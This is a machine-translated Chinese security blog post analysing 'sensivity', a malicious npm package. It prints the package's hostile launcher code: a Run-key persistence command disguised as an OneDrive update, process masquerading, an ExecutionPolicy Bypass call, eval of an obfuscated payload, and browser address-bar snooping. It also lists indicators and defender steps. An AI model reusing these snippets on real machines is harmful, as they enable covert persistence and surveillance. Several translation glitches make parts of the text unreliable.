PairLoop:npm 套件中的隱藏遠端控制面板

PairLoop:一個 npm 套件,七十個版本,以及一個隱藏的 Windows 遠端控制面板

TL博士

npm 包 敏感度 自稱「敏感度控制面板」。在Windows系統中,它可作為遠端控制和監控工具。

它的入口點, launcher.js將其自身進程重新命名為 Runtime Broker,並寫入一個名為 的自動啟動 Run-key 值 OneDriveUpdate 它透過隱藏的 VBScript 重新啟動該軟體包,並啟動 PowerShell。 -ExecutionPolicy Bypass然後評估一個 171 KB 的混淆伺服器有效載荷和一個 6.87 MB 的本地模組, sens.node.

它在 TCP 連接埠 3000 上提供手機配對控制面板,並透過 Windows UIAutomation 讀取活動瀏覽器的網址列 URL,監視一個硬編碼的 YouTube 影片。

之前被視為黑框的兩個部分現在已經得到解答。混淆後的伺服器, server.obf.js它使用 obfuscator.io 的 RC4 字串陣列方案;離線重新實現其解碼器(不執行 JavaScript)可恢復單一外部端點 — https://izopi.com/check.php — 與嵌入式 RSA 公鑰一起用於驗證已簽署的許可證回應。

原生模組, sens.node,它沒有打包:它的導入表和嵌入字串將其標識為 DirectX 11 / Dear ImGui 遊戲內覆蓋層,提供自動瞄準、透視(穿牆)和自動扳機功能,由遠端進程注入和記憶體讀取/寫入驅動。

其中包含的字串引用了與 GTA V / FiveM 一致的車輛實體和地圖位置。 npm 套件是對該原生模組的交付和持久化封裝。

決定性訊號是操作層面的,而非技術層面的:一位匿名發布者推送了大約七十個版本的同一軟體包—— 2.5.0 2.5.69通過 在幾天內,每個人都攜帶了相同的發射器。

沒有安裝 hooks有效載荷僅在軟體包啟動時運作。

攻擊原理

sensivity 套件包含十個檔案。 package.json 檔案非常簡潔:沒有 repository 字段,沒有 license 字段,只有一個主目錄和兩個 bin 目錄別名(sensivity 和 sens),它們都指向 launcher.js,還有一個啟動腳本,即 node launcher.js。沒有 postinstall 或 preinstall 語句。 npm install 指令不會觸發任何事件。以下描述的行為會在使用者啟動該套件時發生-無論是透過 bin 目錄、啟動腳本或 require 語句。

此壓縮套件包含啟動器、混淆後的伺服器、原生模組、Visual Basic 腳本以及用於控制面板的 public/web 目錄。 launcher.js 是一個易於閱讀的編排器;運行時關鍵邏輯存在於它加載的兩個檔案中——一個混淆後的伺服器和一個已編譯的原生模組,這兩個檔案將在下文解析。

 進程偽裝和偽造的 OneDrive 更新程序

在執行初期,launcher.js 會兩次設定自己的進程名稱:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker 是一個合法的 Windows 進程 (RuntimeBroker.exe),用於管理應用程式權限。將 Node 進程重新命名為 RuntimeBroker 後,只需快速查看任務管理器,即可發現任何異常。

持久化功能是透過 PowerShell 編寫的,而不是直接使用登錄 API:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

自啟動項目名為 OneDriveUpdate,它並非直接指向程式包本身,而是指向執行捆綁的 OneDrive.Standalone.Updater.vbs 腳本的 wscript.exe。腳本會在一個隱藏視窗中重新啟動 node launcher.js。由於運行鍵名稱和 VBScript 檔案名稱都採用了微軟的品牌標識,因此該自啟動項目看起來像是例行的 OneDrive 任​​務。

繞過執行策略的 PowerShell

啟動器會重複呼叫 PowerShell。掃描器標記為關鍵的呼叫目標是啟動一個已產生的 .ps1 文件,但該文件的執行策略已被停用:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass 會移除該次呼叫的本機腳本簽章檢查。產生的腳本會處理下一節中所述的瀏覽器監控和視窗偵測工作。

混淆後的伺服器和原生模組

設定完成後,launcher.js 會載入並執行其真正的有效載荷:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js 檔案大小為 171 KB,包含 _0x 陣列混淆程式碼-這是一種 JavaScript 混淆模式,其中每個字串和識別碼都被替換為一個打亂順序的陣列的索引,然後在執行時間進行解引用。此方案是 obfuscator.io 產生的 RC4 變體:一個解碼器函數對陣列元素進行 base64 解碼,然後使用每次呼叫時指定的金鑰對其進行 RC4 解密。在單獨的腳本中重新實作該解碼器——僅對提取的包含 821 個元素的字串陣列運行該重新實現的函數,而不運行套件本身的 JavaScript 程式碼——即可乾淨利落地解耦。解耦後的結果雖然不大,但足以說明問題。cis包含:一個外部 URL `https://izopi.com/check.php`,已分配給常量 `LICENSE_URL`;一個嵌入式 RSA 公鑰 `PUBLIC_KEY_PEM`;本地面板路由 `/api/kill`、`/api/qr.png`、`///trig)、`/////////////////// `/trigger/status`;以及字串 `child_process`、`crypto` 和 `[Sensivity] sens.node loaded`——最後一個是啟動器重寫為「程式模組已載入」的日誌行。此端點用於許可證檢查:用戶端提交一個識別碼(混淆後的伺服器會格式化為 Discord ID: %s 字串),RSA 金鑰驗證伺服器的簽章回應。

sens.node 是一個 6.87 MB 的編譯型原生插件,它沒有被打包——其節熵值在 5.6 到 6.6 之間,PE 導入導出表也完好無損,因此可以直接讀取其功能。它導出 napi_register_module_v1, standard Node N-API 是其入口點,因此評估後的伺服器使用簡單的 require 語句來載入它。其導入表是關鍵所在。它從 KERNEL32 模組中引入了 OpenProcess、VirtualAllocEx、WriteProcessMemory、ReadProcessMemory、CreateRemoteThread、K32EnumProcessModules 和 Process32First/NextW 函數——這是用於定位其他進程、在其內部分配記憶體以及記憶體的函數集。它從 USER32 模組中引入了 GetAsyncKeyState、GetKeyState、mouse_event 和 SetCursorPos 函數;它連結了 d3d11.dll、D3DCOMPILER_43 和 dwmapi 以支援螢幕疊加層,並連結了完整的 WINHTTP 函數集以進行網路呼叫。其嵌入的字串清晰地命名了各項功能:啟用自動瞄準、自動瞄準視野、盒子透視、骨骼透視、自動扳機、透視生成器、載具透視、檢測到Electron反作弊系統,以及“致ImGui”橫幅(Dear ImGui 1.91.3 WIP)。位置和實體字串(例如“葡萄籽醫療診所”)以及載具透視詞彙表與GTA V/FiveM保持一致。

這種拆分是刻意為之:可讀的 launcher.js 僅包含掃描器易於讀取的部分——持久化、偽裝、eval 呼叫本身——而混淆層則隱藏了運行時連接的唯一外部主機,二進位檔案則包含遊戲覆蓋層和進程注入邏輯。啟動器是輕量級的、可審計的外殼;混淆後的伺服器隱藏了網路身分;原生模組是有效載荷。我們將二進位檔案的導入語句和字串描述為可讀的;我們不會從中推斷操作者的意圖。

 連接埠 3000 上的手機配對控制面板

啟動器管理 TCP 連接埠 3000 上的本機 Web 伺服器,並將其視為單例。它會查詢是否存在監聽器,並在綁定之前將其清除:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

該面板可透過 http://localhost:3000 訪問,並硬編碼了一個區域網路備用 URL:http://192.168.1.16:3000。 public/ 目錄和麵板的行為符合二維碼配對流程:手機掃描二維碼即可作為遠端裝置綁定到主機。啟動器中沒有以明文顯示任何外部命令與控制域——但正如上面的反混淆結果所示,混淆後的伺服器中存在一個:izopi.com 許可證端點。面板本身是本地的,作用範圍僅限於區域網路;唯一的出站主機是該許可證檢查。

分離式的監督/工作流程模型可以維持進程的運作。啟動器會使用 SENSIVITY_SUPERVISOR 和 SENSIVITY_WORKER 環境變數重啟自身,每個子進程都以隱藏方式運行,因此即使終止一個進程,也會有監視程式重新啟動它。

瀏覽器監控與 YouTube 訊號

最具體的行為是瀏覽器監控。 launcher.js 建置 PowerShell,該 PowerShell 驅動 Windows UIAutomation 讀取正在執行的瀏覽器的網址列:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern 函數傳回 UI 元素的文字內容。應用於瀏覽器的網址列編輯控制項時,它會傳回受害者目前正在瀏覽的 URL——無需瀏覽器擴充程序,無需修改磁碟上的設定文件,也無需 API 鉤子。產生的腳本會遍歷 $browserNames 列表,並提取目前處於前台的瀏覽器的 URL 或視窗標題。

該URL針對的是一個硬編碼的單一目標進行測試:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

啟動器以三秒為一個循環,輪詢顯示 YouTube 的瀏覽器窗口,並產生包含 Get-YouTubeBrowser / Test-TargetYouTubeUrl 命令對的 PowerShell 命令,該命令對與該視訊 ID 相符。可觀察到的效果有兩面:一是讀取受害者螢幕上的活動瀏覽 URL,二是偵測宿主與特定 YouTube 影片的互動。我們描述了該機制和目標,但並未從中推斷其動機。

掃描器將網址列讀取的內容標記為 sensitive_data_enumeration——這是一個 Process::env 和 UIAutomation 來源,它為支援網路功能的執行時間提供資料。單獨來看,它似乎無害,但一旦追蹤到從 UIAutomation 來源到混淆伺服器的資料生命週期,就會發現其具有監視目的。

時間軸和版本演變

靈敏度並非一次上傳。發布者帳戶中大約有七十個已發布的該軟體包版本,而且在審核期間還有新的版本不斷湧入。啟動器在 2.5.x 系列版本中逐步添加新功能,而其持久性和有效載荷加載方式則保持不變。

日期(UTC) 觀察到的版本 啟動器狀態
2026-06-02 2.5.8 - 2.5.46 (25) 基礎二維碼面板啟動器;運行鍵持久化;混淆伺服器評估。
2026-06-03 2.5.53 - 2.5.61 (6) 相同的指紋;抑制控制台追蹤。
2026-06-04 2.5.67, 2.5.68 (2) 增加置頂的 YouTube 互動目標 wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) 填補空白的重新出版涵蓋範圍;主管/工人監督員。

對下載的三個版本(2.5.0、2.5.36 和 2.5.69)的啟動器進行分析,發現其包含四個層級。最早的版本使用基本的二維碼配對啟動器。從 2.5.33 版本開始,出現了 UIAutomation 網址列擷取器。從 2.5.58 版本開始,新增了管理層。從 2.5.64 版本開始,分離式管理/工作進程監控程式完善了整個啟動器架構。總是有四項內容保持不變:OneDriveUpdate Run 鍵、OneDrive.Standalone.Updater.vbs 投放器、執行過的 server.obf.js 檔案以及 sens.node 原生模組。

2026年06月05日的更新浪潮引人注目,因為它重新發布了版本號較低的版本——2.5.0 到 2.5.15——這些版本號低於幾天前確認的版本。結果是在註冊表中出現了一條連續的 2.5.x 行,每個版本都使用相同的啟動器。

妥協指標

以下所有指標均直接從軟體包壓縮包中讀取。可讀啟動器僅包含回環位址和一個私有區域網路位址;唯一的外部主機名稱 izopi.com 是透過離線反混淆 server.obf.js 檔案恢復的。

類型 指標 筆記
小包裝 npm:sensivity (約70個版本, 2.5.0 - 2.5.69) 單包發布者;無軟體倉庫;無許可證。
文件 launcher.js 可讀的協調器;主目標和 bin 目標。
文件 server.obf.js (約171 KB) obfuscator.io RC4 字串陣列有效載荷,透過以下方式載入 eval(fs.readFileSync(...)).
文件 sens.node (約6.87 MB) PE32+ x86-64 節點 N-API 外掛;SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
文件 OneDrive.Standalone.Updater.vbs 隱藏的重新啟動程序(node launcher.js).
網絡 https://izopi.com/check.php 從混淆的伺服器中還原許可證/驗證端點;嵌入式 RSA 公鑰驗證回應。
權限 OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread 遠端進程注入和記憶體讀寫能力。
權限 Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui 遊戲疊加層實現了自動瞄準、透視和自動射擊功能。
註冊表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate 自動啟動值指向 wscript.exe 以及VBScript啟動器。
過程 process.title = 'Runtime Broker' 偽裝成合法的 Windows 執行時間代理程式。
行為 powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 對產生的 PowerShell 腳本使用執行策略繞過。
行為 UIAutomation ValuePattern 讀取瀏覽器網址列 讀取前台瀏覽器視窗的網址。
行為 目標影片 ID wJWta2lO0Lw3 秒 YouTube 投票 固定的交戰監控訊號。
網絡 http://localhost:3000, 倒退 http://192.168.1.16:3000 本機和區域網路均可存取的二維碼配對控制面板。
環境 SENSIVITY_SUPERVISOR, SENSIVITY_WORKER 分離式監控進程協調標誌。

歸因、影響力與捍衛者

該軟體包由一個 npm 帳戶發布,該帳戶提供的電子郵件地址是一個未經驗證的 Gmail 地址。該帳戶的註冊表信譽評分極低,僅維護和發布此軟體包,且沒有關聯的原始碼倉庫。我們尚未驗證該電子郵件地址的所有權,因此我們將此攻擊活動歸咎於該發布者帳戶,而非任何特定個人。啟動器本身不包含明文基礎架構,但目前已知的外部主機是:經過混淆處理的伺服器會聯繫 izopi.com 進行許可證檢查,而原生模組(並非逐條指令反向讀取,而是從其導入表和字符串中讀取)是一個遊戲覆蓋層,它會注入並讀取另一個進程的內存。

可觀察到的影響主要體現在安裝並執行Sensivity的Windows使用者身上,他們期望獲得一個控制面板實用程式。在這些主機上,該軟體包會建立偽裝成OneDrive任務的自動啟動持久化機制,重新命名自身以模仿系統進程,讀取用戶正在瀏覽的URL,並啟動一個配對面板,將電腦透過本地網路綁定到遠端設備。由於存在監控程序/工作程序,因此即使終止單一進程也無法將其移除;即使重新啟動後,運行鍵中的條目仍然存在。 macOS和Linux並非此啟動器的目標-持久化、PowerShell和UIAutomation路徑僅適用於Windows。

這種頻繁更換七十個版本的趨勢值得關注。在短短幾天內,同一個軟體包被重新發布數十次,甚至包括回填低於已下架版本的版本號,這使得註冊表中始終保留著一個有效的副本,從而破壞了版本鎖定的黑名單機制。例如,針對 sensivity@2.5.61 的黑名單條目對第二天重新發布的 sensivity@2.5.3 沒有任何作用。

防御者可以採取以下措施:

  • 在 registry-proxy 和 CI 允許清單中徹底停用包名敏感性。鎖定單一版本會受到重新發布節奏的影響;包名才是持久的標識。
  • 尋找名為 OneDriveUpdate 的 Run 值,該值會呼叫 wscript.exe 來處理使用者路徑下的 .vbs 檔案。真正的 OneDrive 更新程式並非透過這種方式註冊的。
  • 收到一則關於名為「Runtime Broker」的 Node.js 進程的警報。但實際的代理是 RuntimeBroker.exe,而不是 Node 執行環境。
  • 標記 npm 安裝時取得的軟體包,這些軟體包會附帶一個編譯好的 .node 插件以及對同級 .obf.js 檔案執行 eval(fs.readFileSync(…)) 的操作。這種組合——不透明的本地二進位檔案與混淆的文字有效載荷一起載入——是結構上的關鍵特徵,與任何字串 IOC 無關。
  • 對於受管 Windows 端點,應將由意外的 Node 程序在連接埠 3000 上產生的任何本機綁定監聽器視為可疑。
  • 阻止或警告來自開發者或最終用戶主機的出站請求到 izopi.com;這是該軟體包唯一的外部端點,可透過混淆伺服器的 /check.php 存取。
  • 對於任何捆綁的 .node 插件,在信任它之前,請務必檢查其導入表。無論軟體包聲稱的功能如何,OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread 這幾個函數的組合都屬於遠端進程注入;在這裡,它與 Direct3D 疊加層和自瞄準/透視/扳機等相關程式碼並列。

靜態分析 pipeline因此,這種驗證方式在版本更迭中始終有效:非網路安裝設定檔、將進程標題指派給已知的系統進程名稱、透過 PowerShell 執行 Run 鍵入操作,以及執行從磁碟讀取的檔案。這些驗證方式都不依賴網域名稱、IP 位址或版本號,因此不會因下次重新發布而導致版本號變更。

 參考

[npm:靈敏度] – 此處討論的軟體包版本行的註冊表頁面;可能會被刪除。

sca-tools-software-composition-analysis-tools
優先處理、補救並保護您的軟體風險
註冊免費帳號。
不需要信用卡。

確保您的軟體開發和交付安全

使用 Xygeni 產品套件